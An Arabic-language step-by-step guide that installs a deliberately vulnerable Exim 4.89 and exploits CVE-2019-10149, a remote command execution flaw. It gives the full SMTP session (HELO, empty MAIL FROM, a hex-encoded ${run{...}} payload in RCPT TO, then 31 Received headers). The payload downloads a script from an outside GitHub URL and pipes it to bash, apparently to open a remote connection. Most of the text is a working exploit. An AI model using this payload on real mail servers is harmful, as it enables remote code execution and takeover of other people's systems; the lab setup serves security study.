CVE-2019-10149 - Exim 4.87 < 4.91
إرشادات لتثبيت نسخة هشّة من Exim واستغلالها
تم الاختبار على Linux Ubuntu 16.04، Exim 4.89
تثبيت Exim
قم بتنزيل واستخراج إصدار exim 4.89
انتقل إلى المجلد المستخرج
انسخ وعدّل ملفات الإعدادات المطلوبة
-
sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
-
cp exim_monitor/EDITME Local/eximon.conf
أنشئ مستخدم ومجموعة exim
ثبّت التبعيات
- sudo apt-get update
- sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev
ثبّت exim 4.89
عدّل /usr/exim/configure للسماح بالتوجيه (relaying) حتى نتمكن من الاستغلال دون انتظار 7 أيام
- sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
- sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
- sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure
شغّل exim كمستخدم exim
- sudo -H -u exim /usr/exim/bin/exim -bd -d-receive
صياغة الاستغلال
حوّل أمر الصدفة الخاص بك إلى hex. مثال:
جدول بالأمثلة:
- \t-c\ = -c
- \t= مسافة
- x20 = مسافة
- x7C = |
- x2F = /
- x3A = :
- x2D = -
- x3E = >
- x26 = &
- x22 = "
- x2E = .
استخدام الاستغلال
أولاً نستخدم nc لبدء اتصال بالخادم.
بمجرد الاتصال نرسل HELO.
- helo localhost
- (الإجابة: 250 exim Hello localhost [192.168.0.168])
بعد ذلك، نضبط عنوان المرسل ليكون فارغًا.
- mail from:<>
- (الإجابة: 250 OK)
ثم نضبط عنوان المستلم مع الحمولة التي صنعناها سابقًا بإدراج الأمر المطلوب مكان علامات الحذف: rcpt to:${run{...}}@localhost.
- rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
- (الإجابة: 250 Accepted)
وأخيرًا، نكتب DATA أولاً، متبوعة بـ 31 سطرًا، ثم سطر فارغ، ثم نقطة.
- DATA
- Received: 1
- Received: 2
- Received: 3
- Received: 4
- Received: 5
- Received: 6
- Received: 7
- Received: 8
- Received: 9
- Received: 10
- Received: 11
- Received: 12
- Received: 13
- Received: 14
- Received: 15
- Received: 16
- Received: 17
- Received: 18
- Received: 19
- Received: 20
- Received: 21
- Received: 22
- Received: 23
- Received: 24
- Received: 25
- Received: 26
- Received: 27
- Received: 28
- Received: 29
- Received: 30
- Received: 31
- .